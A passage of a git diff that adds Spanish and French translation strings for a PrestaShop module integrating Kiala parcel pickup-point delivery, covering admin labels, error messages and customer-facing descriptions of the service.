+$_MODULE['<{kiala}prestashop>adminkiala_c453a4b8e8d98e82f35b67f433e3b4da'] = 'Pago'; +$_MODULE['<{kiala}prestashop>adminkiala_559e7ca805230fc80e3644f87bb3994d'] = 'Fecha de pedido'; +$_MODULE['<{kiala}prestashop>adminkiala_402abd5d3f8d26ba6e02c8319fb1c52f'] = 'Fecha de factura'; +$_MODULE['<{kiala}prestashop>adminkiala_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Habilitado'; +$_MODULE['<{kiala}prestashop>adminkiala_b9f5c797ebbf55adccdd8539a65a0241'] = 'Deshabilitado'; +$_MODULE['<{kiala}prestashop>adminkiala_08a38277b0309070706f6652eeae9a53'] = 'Abajo'; +$_MODULE['<{kiala}prestashop>adminkiala_258f49887ef8d14ac268c92b02503aaa'] = 'Arriba'; +$_MODULE['<{kiala}prestashop>adminkiala_0095a9fa74d1713e43e370a7d7846224'] = 'Exportar'; +$_MODULE['<{kiala}prestashop>adminkiala_634b6a649f6a48dca128f8a2541b6378'] = 'Exportar selección'; +$_MODULE['<{kiala}prestashop>adminkiala_365f3d4974a7a3e58d93e142216e5622'] = 'Exportar elementos seleccionados?'; +$_MODULE['<{kiala}prestashop>adminkiala_0557fa923dcee4d0f86b1409f5c2167f'] = 'Atrás'; +$_MODULE['<{kiala}prestashop>adminkiala_630f6dc397fe74e52d5189e2c80f282b'] = 'Volver a la lista'; +$_MODULE['<{kiala}prestashop>adminkiala_32397e87e6e403cbad4f3d26385ad6ef'] = 'No tiene permisos para añadir aquí'; +$_MODULE['<{kiala}prestashop>adminkiala_ddcaee4edc8938535941b620ae5ec359'] = 'No tiene permisos para editar aquí'; +$_MODULE['<{kiala}prestashop>adminkiala_0905428a61d0f663bfbee93315a0885a'] = 'Pedidos Kiala'; +$_MODULE['<{kiala}prestashop>adminkiala_bcd3a47a1200d3c351e96817ca9e9a06'] = 'Valor comercial:'; +$_MODULE['<{kiala}prestashop>adminkiala_cbbafdaaa94841c9ff29acfc5ee5216a'] = 'Volumen del paquete:'; +$_MODULE['<{kiala}prestashop>adminkiala_e059d4ecfa5504c7b2b8f7711a8b5a4e'] = 'Descripción del paquete:'; +$_MODULE['<{kiala}prestashop>adminkiala_0ce79b15e81473333117be3376d74ff7'] = 'Ya exportado:'; +$_MODULE['<{kiala}prestashop>adminkiala_93cba07454f06a4a960172bbd6e2a435'] = 'Sí'; +$_MODULE['<{kiala}prestashop>adminkiala_bafd7322c6e97d25b6299b5d6fe8920b'] = 'No'; +$_MODULE['<{kiala}prestashop>adminkiala_38fb7d24e0d60a048f540ecb18e13376'] = 'Guardar'; +$_MODULE['<{kiala}prestashop>adminkiala_19f823c6453c2b1ffd09cb715214813d'] = 'Campo requerido'; +$_MODULE['<{kiala}prestashop>adminkiala_7abd4e91d8402e953eaed33e6fd98a78'] = 'Exportado con éxito a un fichero'; +$_MODULE['<{kiala}prestashop>adminkiala_71c0a0bfb718aace18d13bf59c8c9a55'] = 'carpeta de entrada'; +$_MODULE['<{kiala}prestashop>ajax_db26e10564e958809d798e8048fcbc0a'] = 'Clave de seguridad no válida'; +$_MODULE['<{kiala}prestashop>kiala_7c18a0e4bf81b49addfa046147bf6bdf'] = 'Kiala avanzado (para tiendas con más de 10.000 paquetes por año)'; +$_MODULE['<{kiala}prestashop>kiala_7fc5135167a46310d460c978f416a08c'] = 'Activa la opción de punto de recogida y entrega de Kiala. Ofrece una entrega más fácil y barata a tus clientes. '; +$_MODULE['<{kiala}prestashop>kiala_e8a9243952641cd13f3e9f27d639567c'] = 'Kiala'; +$_MODULE['<{kiala}prestashop>kiala_8acabcc788c316f92b7850c76265b49b'] = 'Debe habilitar la extensión cURL y la opción \"allow_url_fopen\" en su servidor si quiere usar este módulo. '; +$_MODULE['<{kiala}prestashop>kiala_d591cbc447d01e5a6165096ebfdf804e'] = 'Debe habilitar la extensión cURL en su servidor si quiere usar este módulo.'; +$_MODULE['<{kiala}prestashop>kiala_1b18bd5d9d85f4f667614345ee20e3b2'] = 'Debe habilitar la opción \"allow_url_fopen\" en su servidor si quiere usar este módulo.'; +$_MODULE['<{kiala}prestashop>kiala_4b6ffdb799efecd7f7daf29fb5cc65a0'] = 'Debe desactivar el módulo Kiala Small antes de configurar este módulo. '; +$_MODULE['<{kiala}prestashop>kiala_3f4a1cf6f58c73372d5b21d659bfec22'] = 'El campo \"apellido\" no es valide'; +$_MODULE['<{kiala}prestashop>kiala_c5dbb8108ebee351e69fe7fe8192224a'] = 'El campo \"nombre\" no es valide'; +$_MODULE['<{kiala}prestashop>kiala_20e56cdda1531b91180159e7d765b986'] = 'El campo \"e-mail\" no es valide'; +$_MODULE['<{kiala}prestashop>kiala_6e4b97c42cb8036557a2afe1dde9da8c'] = 'El campo \"teléphono\" no es valide'; +$_MODULE['<{kiala}prestashop>kiala_877dfd93dd86e60ebee05d7e40a4c789'] = 'El campo \"nombre de su sito web\" no es valide'; +$_MODULE['<{kiala}prestashop>kiala_965b4d3179696a070458a9df3f051ebd'] = 'El campo \"número de paquetes enviados por año\" no es valide'; +$_MODULE['<{kiala}prestashop>kiala_83fd7bb4f9a1019a5a7b51513668a348'] = 'El campo \"peso promedio de un paquete\" no es valide'; +$_MODULE['<{kiala}prestashop>kiala_bf1c03ecd0d85d824c36b782ed8d19d8'] = 'Información General'; +$_MODULE['<{kiala}prestashop>kiala_0653369832646692ee210ed804110839'] = 'El módulo de Kiala le permite proponer una opción de entrega de paquetes en un punto de recogida Kiala como una alternativa a la entrega domiciliaria.'; +$_MODULE['<{kiala}prestashop>kiala_9c4aaeb0208ec8e74854aa53c7422274'] = 'Por lo tanto, puede ofrecer una opción adicional del modo de entrega a sus clientes.'; +$_MODULE['<{kiala}prestashop>kiala_b13b4082804cdb5524368759a44f694e'] = 'Además, una entrega de paquetes a través de Kiala suele ser un 10-20% más barato que un servicio a domicilio.'; +$_MODULE['<{kiala}prestashop>kiala_ad95ca20d3b2b7feb468a923de0b3ee5'] = 'Kiala es el proveedor de servicios líder en Europa de redes de puntos de recogida, soportados por una plataforma tecnológica especializada, para la entrega de paquetes a los consumidores finales y representantes de ventas o autónomos.'; +$_MODULE['<{kiala}prestashop>kiala_f6c290acdea0a25a19c77d89001d914f'] = 'Los 7.000 puntos Kiala que conforman la red europea se componen de tiendas de proximidad (quioscos, estaciones de servicio...) donde los consumidores pueden recoger, pagar y / o devolver sus paquetes rápidamente, cuando más les convenga.'; +$_MODULE['<{kiala}prestashop>kiala_29fda0e030f2208bfb41ac8853ab52c8'] = 'Para más información:'; +$_MODULE['<{kiala}prestashop>kiala_d4d6a6191d4ec550609af5e31e40744a'] = 'Estado del módulo Kiala'; +$_MODULE['<{kiala}prestashop>kiala_6f7fd64c9bdad36bffbc6c23a46b922a'] = '¡El módulo Kiala está configurado y en línea!'; +$_MODULE['<{kiala}prestashop>kiala_d05f95b7ab51d8945351dd8332ff5fe7'] = 'Haga click aquí para revisar y exportar sus pedidos enviado por Kiala'; +$_MODULE['<{kiala}prestashop>kiala_2085d85081fb4c6cd78b085f9de7918d'] = 'Esto le permite importar sus pedidos con su software Keops que se sincronizará con su cuenta de Kiala.'; +$_MODULE['<{kiala}prestashop>kiala_5479636a6a7a576b0cbf0f671af9663d'] = 'El módulo Kiala no ha sido configurado todavía, debe:'; +$_MODULE['<{kiala}prestashop>kiala_c6096e7865a698ee11ecef6e39feea39'] = 'Pedir la creación de una cuenta a Kiala'; +$_MODULE['<{kiala}prestashop>kiala_064a4b5242fb35fd5dbb011d6df9581c'] = '(campos a completar a continuación) y luego configurar y habilitar las entregas con Kiala en su país (ver '; +$_MODULE['<{kiala}prestashop>kiala_dcc959cc5ab4932b7b3831c7c8a510c9'] = 'configuración de país'; +$_MODULE['<{kiala}prestashop>kiala_9371d7a2e3ae86a00aab4771e39d255d'] = ')'; +$_MODULE['<{kiala}prestashop>kiala_f09ea5dca3d187c50a634239778a5a3c'] = 'Permitir URL fopen'; +$_MODULE['<{kiala}prestashop>kiala_c7760f2c36d4e647e8a254cef51cbae8'] = 'Habilitar cURL'; +$_MODULE['<{kiala}prestashop>kiala_79dd740444a2b21fc8904b849dbb7c2a'] = 'Seleccionar una carpeta de exportación válida'; +$_MODULE['<{kiala}prestashop>kiala_c603497d224d00e921618e0ae1651cac'] = 'Apellido :'; +$_MODULE['<{kiala}prestashop>kiala_d2cacc542d8dd31bd89f8defed1b55ad'] = 'Nombre :'; +$_MODULE['<{kiala}prestashop>kiala_df1555fe48479f594280a2e03f9a8186'] = 'E-mail :'; +$_MODULE['<{kiala}prestashop>kiala_7c016fc61e51804b67f5afef55597ae7'] = 'Teléfono :'; +$_MODULE['<{kiala}prestashop>kiala_61f0fa926f97eafb392975ed79cebb4a'] = 'Nombre de su sitio web'; +$_MODULE['<{kiala}prestashop>kiala_ac34d5934d881fd908a76d55f060fbc5'] = 'Número de paquetes enviados por año :'; +$_MODULE['<{kiala}prestashop>kiala_df95bcb1b83bf1e0b26bfe3f1c2b6d81'] = 'Peso promedio de un paquete :'; +$_MODULE['<{kiala}prestashop>kiala_efc3bcebe3b11474027090395185edd2'] = 'Enviar la solicitud'; +$_MODULE['<{kiala}prestashop>kiala_d4251f12ae46cfbe6afc506d9598bed7'] = 'Su registro es efectivo. Nos comunicaremos con usted en breve.'; +$_MODULE['<{kiala}prestashop>kiala_ef0932992a07b54437aaf05db94f754b'] = '¿Cómo realizar la mejor integración de la opción Kiala en la página de check-out?'; +$_MODULE['<{kiala}prestashop>kiala_676b9df388173c21960734237af8f0f0'] = 'Como comercio on-line, proponer la opción de Kiala a menudo significa añadir un servicio adicional para tus clientes, al tiempo de generar ahorros en los gastos de envío. Es fundamental posicionar correctamente la opción de entrega con Kiala en la página de “check-outâ€. Siguiendo los consejos sobre cómo posicionar Kiala, conseguirá que el porcentaje de envíos que se realicen por esta vía sea hasta 3 veces superior. '; +$_MODULE['<{kiala}prestashop>kiala_4bb82a627a48ab582bf88684dd9fe953'] = 'Los elementos claves para un gran posicionamiento son:'; +$_MODULE['<{kiala}prestashop>kiala_c93ce97e160e755533add6790407ffe3'] = 'Kiala propuesto como primera opción en la lista de opciones de entrega disponibles'; +$_MODULE['<{kiala}prestashop>kiala_e83ca24e479d10cd0db75f3ec0d279ad'] = 'La opción de Kiala está pre-seleccionada por defecto'; +$_MODULE['<{kiala}prestashop>kiala_b36e95a5971bcaadd6f1058eb2656867'] = 'La opción de Kiala, se propone a un precio de entrega más bajo que la entrega a domicilio. '; +$_MODULE['<{kiala}prestashop>kiala_b282520e8dc7f64744de30d58deb0eaa'] = 'Ventajas de utilizar el servicio de Kiala'; +$_MODULE['<{kiala}prestashop>kiala_2f54697e42636058ba48d27d284fc3b7'] = 'Clic aquí para más detalles'; +$_MODULE['<{kiala}prestashop>kiala_839e391bcf6534783828d7281ff85372'] = 'El módulo de Kiala le permite proponer una opción de entrega de paquetes en un punto de recogida Kiala como una alternativa a la entrega domiciliaria. Por lo tanto, puede ofrecer una opción adicional del modo de entrega a sus clientes.'; +$_MODULE['<{kiala}prestashop>kiala_8737c3cdca1590b1a28313f3bed10bf1'] = 'Además, una entrega de paquetes a través de Kiala suele ser un 10-20% más barato que un servicio a domicilio.'; +$_MODULE['<{kiala}prestashop>kiala_5865ab831c00ddcc3bb068b3fd6884aa'] = 'Kiala es el proveedor de servicios líder en Europa de redes de puntos de recogida, soportados por una plataforma tecnológica especializada, para la entrega de paquetes a los consumidores finales y representantes de ventas o autónomos. Los 7.000 puntos Kiala que conforman la red europea se componen de tiendas de proximidad (quioscos, estaciones de servicio...) donde los consumidores pueden recoger, pagar y / o devolver sus paquetes rápidamente, cuando más les convenga.'; +$_MODULE['<{kiala}prestashop>kiala_9b4be0084a0657f91204a785f10b7cb8'] = 'La plataforma tecnológica de Kiala automatiza todas las actividades de transporte y entrega (seguimiento y localización, notificación automática en caso de llegada de paquetes, recordatorio, entrega contra reembolso...).'; +$_MODULE['<{kiala}prestashop>kiala_2a9d4295be05c1a71e2ff12d5818853c'] = 'Kiala está disponible en la mayoría de los sitios líderes de la venta por internet, así como: AchatVIP, Amazon, Bol, BuyVIP, Cdiscount, Privalia, Sarenza..., minoristas multicanal, como Esprit, Etam, H&M, Nespresso, Promod ... y las compañías tradicionales de venta por catálogo tales como Bertelsmann, Neckermann, Yves Rocher ....'; +$_MODULE['<{kiala}prestashop>kiala_735b8902dc253661900aa1b0e5e9c793'] = 'El módulo de Kiala se puede activar para Bélgica, Francia, Luxemburgo, Holanda y España.'; +$_MODULE['<{kiala}prestashop>kiala_318b4b55c7ca8be6e1129b5237e85d57'] = 'Este módulo incluye una integración de Kiala muy completa, que requiere un nivel de envíos de, al menos, 10 paquetes por día. Usted deberá firmar un contrato y obtener un ID de Kiala a fin de aprovechar este módulo. Alternativamente, también podrá utilizar el otro Addon de Kiala “integración simple de los webservices de Kiala\".'; +$_MODULE['<{kiala}prestashop>kiala_8135ec72a5d7f1ed8e29d61a4e89d7a5'] = 'Kiala opciones avanzadas'; +$_MODULE['<{kiala}prestashop>kiala_914f0f5c309f9de01aa33c6a2bb92da2'] = 'Carpeta de exportación'; +$_MODULE['<{kiala}prestashop>kiala_d89658c392fc66e0e5f7e4d2e1f2cc5d'] = 'Prefijo para el pedido y número de paquete'; +$_MODULE['<{kiala}prestashop>kiala_fd20703544b81f370f0ff6e67c2f5746'] = '¿Exportar en cada pedido?'; +$_MODULE['<{kiala}prestashop>kiala_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Habilitado'; +$_MODULE['<{kiala}prestashop>kiala_b9f5c797ebbf55adccdd8539a65a0241'] = 'Deshabilitado'; +$_MODULE['<{kiala}prestashop>kiala_7b97ae27d5d373dc281178fab4c61ac4'] = 'Si está activado, un fichero de exportación de Kiala será creado cada vez que se procese un pedido.'; +$_MODULE['<{kiala}prestashop>kiala_9d9111b77edd02d8c7a2b3b3c02bb1c2'] = '¿Criterio de seguimiento del paquete?'; +$_MODULE['<{kiala}prestashop>kiala_ce26601dac0dea138b7295f02b7620a7'] = 'Cliente'; +$_MODULE['<{kiala}prestashop>kiala_a240fa27925a635b08dc28c9e4f9216d'] = 'Pedido'; +$_MODULE['<{kiala}prestashop>kiala_d4dccb8ca2dac4e53c01bd9954755332'] = 'Guardar ajustes'; +$_MODULE['<{kiala}prestashop>kiala_4d7400be7c3ed888ad93f5355c1f8e55'] = 'No se encontró Punto Kiala'; +$_MODULE['<{kiala}prestashop>kiala_564685655aeebb03d711663ecdc551ee'] = 'No se encuentra la carpeta de exportación.'; +$_MODULE['<{kiala}prestashop>kiala_a34c9abff690c30540446f5b1e47cc6c'] = 'El tiempo de preparación no es válido.'; +$_MODULE['<{kiala}prestashop>kiala_59b513fa6fab9c46783cde69dde67f1a'] = 'Inválida país.'; +$_MODULE['<{kiala}prestashop>kiala_c888438d14855d7d96a2724ee9c306bd'] = 'Ajustes actualizados'; +$_MODULE['<{kiala}prestashop>kiala_e67c1f8b251cb7fa3b7a9730e892b234'] = 'Ajustes de país'; +$_MODULE['<{kiala}prestashop>kiala_59716c97497eb9694541f7c3d37b1a4d'] = 'País'; +$_MODULE['<{kiala}prestashop>kiala_1edcdad89b3a2245d759a169da1bf5a3'] = 'ID de usuario'; +$_MODULE['<{kiala}prestashop>kiala_ea81440f2329d5216caa07f3f9a0d63f'] = 'Tiempo de preparación (días)'; +$_MODULE['<{kiala}prestashop>kiala_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Activo'; +$_MODULE['<{kiala}prestashop>kiala_7dce122004969d56ae2e0245cb754d35'] = 'Editar'; +$_MODULE['<{kiala}prestashop>kiala_69fa5d0a2d41883b14016167b49f5c5f'] = 'ID de Usuario de Kiala:'; +$_MODULE['<{kiala}prestashop>kiala_d35e9defb4810dea1304a4b2a873c88f'] = 'Tiempo de preparación:'; +$_MODULE['<{kiala}prestashop>kiala_3d091e856cb7615d1ccb96bc759b5a92'] = 'Activo:'; +$_MODULE['<{kiala}prestashop>kiala_f65fa952b6097ffb1529914992ef532b'] = 'Si no está activo, Kiala no estará disponible para los clientes de este país '; +$_MODULE['<{kiala}prestashop>kiala_38fb7d24e0d60a048f540ecb18e13376'] = 'Guardar'; +$_MODULE['<{kiala}prestashop>kiala_19f823c6453c2b1ffd09cb715214813d'] = 'Campo obligatorio'; +$_MODULE['<{kiala}prestashop>kiala_630f6dc397fe74e52d5189e2c80f282b'] = 'Volver a la lista'; +$_MODULE['<{kiala}prestashop>orderdetail_8bfb1a91719f4af3785a59bc9d66fd8f'] = 'Su pedido está siendo entregado por Kiala.'; +$_MODULE['<{kiala}prestashop>orderdetail_2be7f2a9c726e7751f463b514af98c71'] = 'Haga click aquí para seguir su pedido'; +$_MODULE['<{kiala}prestashop>point-1-4_3cdfc1acfd5f159c7be997ac2f8864b0'] = 'Punto Kiala'; +$_MODULE['<{kiala}prestashop>point-1-4_1daeb62f5ea9a861590e3cbcb41c9b20'] = 'Ha seleccionado la entrega en un Punto Kiala. Kiala le permite recoger sus paquetes en tiendas cercanas con amplios horarios de apertura y sin hacer cola. '; +$_MODULE['<{kiala}prestashop>point-1-4_3b80b03d9ae2f392c26a85edbde62b79'] = '(Más información…)'; +$_MODULE['<{kiala}prestashop>point-1-4_e31d53195a6270ac33bd62eb82b5468c'] = 'Basándonos en su dirección, le recomendamos este Punto Kiala:'; +$_MODULE['<{kiala}prestashop>point-1-4_baf1380998f08358a21c71f54c1e7108'] = 'Ha seleccionado este Punto Kiala:'; +$_MODULE['<{kiala}prestashop>point-1-4_12c060997f9a81e9a8e9c33c32e26f47'] = 'Punto Kiala seleccionado en su último pedido:'; +$_MODULE['<{kiala}prestashop>point-1-4_cbaa2c3859500c415e8a915aed887d4b'] = 'Lo sentimos, pero el Punto Kiala'; +$_MODULE['<{kiala}prestashop>point-1-4_38725d2a1f46a87a51f389a21ddc8bea'] = 'que usted seleccionó en su último pedido no está disponible actualmente.'; +$_MODULE['<{kiala}prestashop>point-1-4_8dbf6ea447f1b00b033e5b9e68b57ba3'] = 'Puede seleccionar otro Punto Kiala en el mapa de abajo:'; +$_MODULE['<{kiala}prestashop>point-1-4_f2a196847c8d96e62aedeada1878e5c3'] = 'Su navegador no soporta “iframesâ€.'; +$_MODULE['<{kiala}prestashop>point-1-4_0d6179df2b8bf69b27e456c879c46166'] = '¿Nunca está en casa cuando pasa el mensajero o el cartero? Kiala le propone la solución ideal: Usted mismo pasa a recoger su paquete, en un lugar de su elección, cuando sea más conveniente para usted.'; +$_MODULE['<{kiala}prestashop>point-1-4_99872952206ca8fe5431b821e4e0f2c0'] = 'Su paquete, cerca de usted'; +$_MODULE['<{kiala}prestashop>point-1-4_a6f674579ba34ba75deaf6a4f88c65e2'] = 'Su paquete es entregado en un comercio de proximidad (tienda de ultramarinos, librería, gasolinera, etc.). Seguro que hay un Punto Kiala cerca de su domicilio, cerca de su lugar de trabajo o del colegio de sus hijos.'; +$_MODULE['<{kiala}prestashop>point-1-4_56f1eec4895a5d2e46ebc63692f68874'] = 'Horarios de apertura amplios y flexibles'; +$_MODULE['<{kiala}prestashop>point-1-4_8b91d0379f62529dde8d7b1b614e671f'] = 'Desde primera hora de la mañana, a mediodía, por la tarde hasta las 20:00 o las 21:00, el sábado y a veces incluso el domingo: pase a recoger su paquete donde y cuando mejor le venga.'; +$_MODULE['<{kiala}prestashop>point-1-4_eb0d50e5589c77f7ce33aa82629fcd4d'] = 'Reciba un aviso al instante'; +$_MODULE['<{kiala}prestashop>point-1-4_54302d88d8c0c0cab9664c7f47171971'] = '¿Llegó su paquete? Inmediatamente es avisado por e-mail, SMS o mensaje telefónico. A través de www.kiala.es, usted puede seguir su paquete fácilmente en cada paso del proceso de entrega.'; +$_MODULE['<{kiala}prestashop>point-1-4_6a9f7e6d6ecf823ea8c6c2443f480888'] = 'Mayor seguridad'; +$_MODULE['<{kiala}prestashop>point-1-4_193f44cfc5d63ad30662b4f02e76c63d'] = 'Deberá mostrar su DNI para poder recoger su paquete. Al mismo tiempo deberá firmar en la PDA de Kiala la recepción de su paquete.'; +$_MODULE['<{kiala}prestashop>point-1-4_e16b5b7f26f54214445cbe38d72c2828'] = 'Rapidez'; +$_MODULE['<{kiala}prestashop>point-1-4_8d5d5d5e14bb0fee2d100ea7d98bedb8'] = 'Su paquete es entregado en un abrir y cerrar de ojos. Sin hacer cola. Sin estrés.'; +$_MODULE['<{kiala}prestashop>point_3cdfc1acfd5f159c7be997ac2f8864b0'] = 'Punto Kiala'; +$_MODULE['<{kiala}prestashop>point_1daeb62f5ea9a861590e3cbcb41c9b20'] = 'Ha seleccionado la entrega en un Punto Kiala. Kiala le permite recoger sus paquetes en tiendas cercanas con amplios horarios de apertura y sin hacer cola. '; +$_MODULE['<{kiala}prestashop>point_3b80b03d9ae2f392c26a85edbde62b79'] = '(Más información…)'; +$_MODULE['<{kiala}prestashop>point_e31d53195a6270ac33bd62eb82b5468c'] = 'Basándonos en su dirección, le recomendamos este Punto Kiala:'; +$_MODULE['<{kiala}prestashop>point_baf1380998f08358a21c71f54c1e7108'] = 'Ha seleccionado este Punto Kiala:'; +$_MODULE['<{kiala}prestashop>point_12c060997f9a81e9a8e9c33c32e26f47'] = 'Punto Kiala seleccionado en su último pedido:'; +$_MODULE['<{kiala}prestashop>point_cbaa2c3859500c415e8a915aed887d4b'] = 'Lo sentimos, pero el Punto Kiala'; +$_MODULE['<{kiala}prestashop>point_38725d2a1f46a87a51f389a21ddc8bea'] = 'que usted seleccionó en su último pedido no está disponible actualmente.'; +$_MODULE['<{kiala}prestashop>point_8dbf6ea447f1b00b033e5b9e68b57ba3'] = 'Puede seleccionar otro Punto Kiala en el mapa de abajo:'; +$_MODULE['<{kiala}prestashop>point_f2a196847c8d96e62aedeada1878e5c3'] = 'Su navegador no soporta “iframesâ€.'; +$_MODULE['<{kiala}prestashop>point_0d6179df2b8bf69b27e456c879c46166'] = '¿Nunca está en casa cuando pasa el mensajero o el cartero? Kiala le propone la solución ideal: Usted mismo pasa a recoger su paquete, en un lugar de su elección, cuando sea más conveniente para usted.'; +$_MODULE['<{kiala}prestashop>point_99872952206ca8fe5431b821e4e0f2c0'] = 'Su paquete, cerca de usted'; +$_MODULE['<{kiala}prestashop>point_a6f674579ba34ba75deaf6a4f88c65e2'] = 'Su paquete es entregado en un comercio de proximidad (tienda de ultramarinos, librería, gasolinera, etc.). Seguro que hay un Punto Kiala cerca de su domicilio, cerca de su lugar de trabajo o del colegio de sus hijos.'; +$_MODULE['<{kiala}prestashop>point_56f1eec4895a5d2e46ebc63692f68874'] = 'Horarios de apertura amplios y flexibles'; +$_MODULE['<{kiala}prestashop>point_8b91d0379f62529dde8d7b1b614e671f'] = 'Desde primera hora de la mañana, a mediodía, por la tarde hasta las 20:00 o las 21:00, el sábado y a veces incluso el domingo: pase a recoger su paquete donde y cuando mejor le venga.'; +$_MODULE['<{kiala}prestashop>point_eb0d50e5589c77f7ce33aa82629fcd4d'] = 'Reciba un aviso al instante'; +$_MODULE['<{kiala}prestashop>point_54302d88d8c0c0cab9664c7f47171971'] = '¿Llegó su paquete? Inmediatamente es avisado por e-mail, SMS o mensaje telefónico. A través de www.kiala.es, usted puede seguir su paquete fácilmente en cada paso del proceso de entrega.'; +$_MODULE['<{kiala}prestashop>point_6a9f7e6d6ecf823ea8c6c2443f480888'] = 'Mayor seguridad'; +$_MODULE['<{kiala}prestashop>point_193f44cfc5d63ad30662b4f02e76c63d'] = 'Deberá mostrar su DNI para poder recoger su paquete. Al mismo tiempo deberá firmar en la PDA de Kiala la recepción de su paquete.'; +$_MODULE['<{kiala}prestashop>point_e16b5b7f26f54214445cbe38d72c2828'] = 'Rapidez'; +$_MODULE['<{kiala}prestashop>point_8d5d5d5e14bb0fee2d100ea7d98bedb8'] = 'Su paquete es entregado en un abrir y cerrar de ojos. Sin hacer cola. Sin estrés.'; +$_MODULE['<{kiala}prestashop>exportformat_127469a6b4253ebb77adccc0dd48461e'] = 'Sr.'; +$_MODULE['<{kiala}prestashop>exportformat_29e32764941c30d1bb41c601014fbdbd'] = 'Sra.'; +$_MODULE['<{kiala}prestashop>exportformat_eb49c566b015e6564475679a5bae653a'] = 'Campo'; +$_MODULE['<{kiala}prestashop>exportformat_0bcafe79c85ee3da0cc5af1a8beeb99a'] = 'es obligatorio pero no se ha encontrado.'; +$_MODULE['<{kiala}prestashop>exportformat_5bc815bea1aa590a147545bd8d8243c1'] = 'es demasiado largo.'; +$_MODULE['<{kiala}prestashop>exportformat_b544d57c54d043353f79d07fd1f4c8b0'] = 'tiene un formato erróneo.'; diff --git a/modules/kiala/forbbiden.gif b/modules/kiala/forbbiden.gif new file mode 100755 index 0000000..c772d49 Binary files /dev/null and b/modules/kiala/forbbiden.gif differ diff --git a/modules/kiala/fr.php b/modules/kiala/fr.php new file mode 100755 index 0000000..1f8076c --- /dev/null +++ b/modules/kiala/fr.php @@ -0,0 +1,172 @@ +adminkiala_b718adec73e04ce3ec720dd11a06a308'] = 'Identifiant'; +$_MODULE['<{kiala}prestashop>adminkiala_0001316ad0c7eb0f1a8e298fd6e5d070'] = 'Exporté'; +$_MODULE['<{kiala}prestashop>adminkiala_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{kiala}prestashop>adminkiala_59716c97497eb9694541f7c3d37b1a4d'] = 'Pays'; +$_MODULE['<{kiala}prestashop>adminkiala_3cdfc1acfd5f159c7be997ac2f8864b0'] = 'Point Kiala'; +$_MODULE['<{kiala}prestashop>adminkiala_96b0141273eabab320119c467cdcaf17'] = 'Total'; +$_MODULE['<{kiala}prestashop>adminkiala_c453a4b8e8d98e82f35b67f433e3b4da'] = 'Paiement'; +$_MODULE['<{kiala}prestashop>adminkiala_559e7ca805230fc80e3644f87bb3994d'] = 'Date de commande'; +$_MODULE['<{kiala}prestashop>adminkiala_402abd5d3f8d26ba6e02c8319fb1c52f'] = 'Date de facturation'; +$_MODULE['<{kiala}prestashop>adminkiala_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{kiala}prestashop>adminkiala_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{kiala}prestashop>adminkiala_08a38277b0309070706f6652eeae9a53'] = 'Bas'; +$_MODULE['<{kiala}prestashop>adminkiala_258f49887ef8d14ac268c92b02503aaa'] = 'Haut'; +$_MODULE['<{kiala}prestashop>adminkiala_0095a9fa74d1713e43e370a7d7846224'] = 'Export'; +$_MODULE['<{kiala}prestashop>adminkiala_634b6a649f6a48dca128f8a2541b6378'] = 'Exporter sélection'; +$_MODULE['<{kiala}prestashop>adminkiala_365f3d4974a7a3e58d93e142216e5622'] = 'Exporter les commandes sélectionnées ?'; +$_MODULE['<{kiala}prestashop>adminkiala_0557fa923dcee4d0f86b1409f5c2167f'] = 'Retour'; +$_MODULE['<{kiala}prestashop>adminkiala_630f6dc397fe74e52d5189e2c80f282b'] = 'Retour à la liste'; +$_MODULE['<{kiala}prestashop>adminkiala_32397e87e6e403cbad4f3d26385ad6ef'] = 'Vous n\'avez pas la permission de créer ici'; +$_MODULE['<{kiala}prestashop>adminkiala_ddcaee4edc8938535941b620ae5ec359'] = 'Vous n\'avez pas la permission d\'éditer ici'; +$_MODULE['<{kiala}prestashop>adminkiala_0905428a61d0f663bfbee93315a0885a'] = 'Commandes Kiala'; +$_MODULE['<{kiala}prestashop>adminkiala_bcd3a47a1200d3c351e96817ca9e9a06'] = 'Valeur commerciale :'; +$_MODULE['<{kiala}prestashop>adminkiala_cbbafdaaa94841c9ff29acfc5ee5216a'] = 'Volume du paquet :'; +$_MODULE['<{kiala}prestashop>adminkiala_e059d4ecfa5504c7b2b8f7711a8b5a4e'] = 'Description du paquet :'; +$_MODULE['<{kiala}prestashop>adminkiala_0ce79b15e81473333117be3376d74ff7'] = 'Déjà exporté :'; +$_MODULE['<{kiala}prestashop>adminkiala_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{kiala}prestashop>adminkiala_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{kiala}prestashop>adminkiala_38fb7d24e0d60a048f540ecb18e13376'] = 'Enregistrer'; +$_MODULE['<{kiala}prestashop>adminkiala_19f823c6453c2b1ffd09cb715214813d'] = 'Champ requis'; +$_MODULE['<{kiala}prestashop>adminkiala_7abd4e91d8402e953eaed33e6fd98a78'] = 'Export réussi dans le fichier'; +$_MODULE['<{kiala}prestashop>adminkiala_71c0a0bfb718aace18d13bf59c8c9a55'] = 'dans le dossier'; +$_MODULE['<{kiala}prestashop>ajax_db26e10564e958809d798e8048fcbc0a'] = 'Token de sécurité invalide'; +$_MODULE['<{kiala}prestashop>kiala_7c18a0e4bf81b49addfa046147bf6bdf'] = 'Kiala avancé (pour marchand expédiant plus de 10 000 colis par an)'; +$_MODULE['<{kiala}prestashop>kiala_7fc5135167a46310d460c978f416a08c'] = 'Faites livrer vos colis en Relais Kiala et bénéficiez d’économies substantielles.'; +$_MODULE['<{kiala}prestashop>kiala_e8a9243952641cd13f3e9f27d639567c'] = 'Kiala'; +$_MODULE['<{kiala}prestashop>kiala_8acabcc788c316f92b7850c76265b49b'] = 'Vous devez activer l\'extension cURL et l\'option allow_url_fopen sur votre serveur si vous voulez utiliser ce module.'; +$_MODULE['<{kiala}prestashop>kiala_d591cbc447d01e5a6165096ebfdf804e'] = 'Vous devez activer l\'extension cURL sur votre serveur si vous voulez utiliser ce module.'; +$_MODULE['<{kiala}prestashop>kiala_1b18bd5d9d85f4f667614345ee20e3b2'] = 'Vous devez activer l\'option allow_url_fopen sur votre serveur si vous voulez utiliser ce module.'; 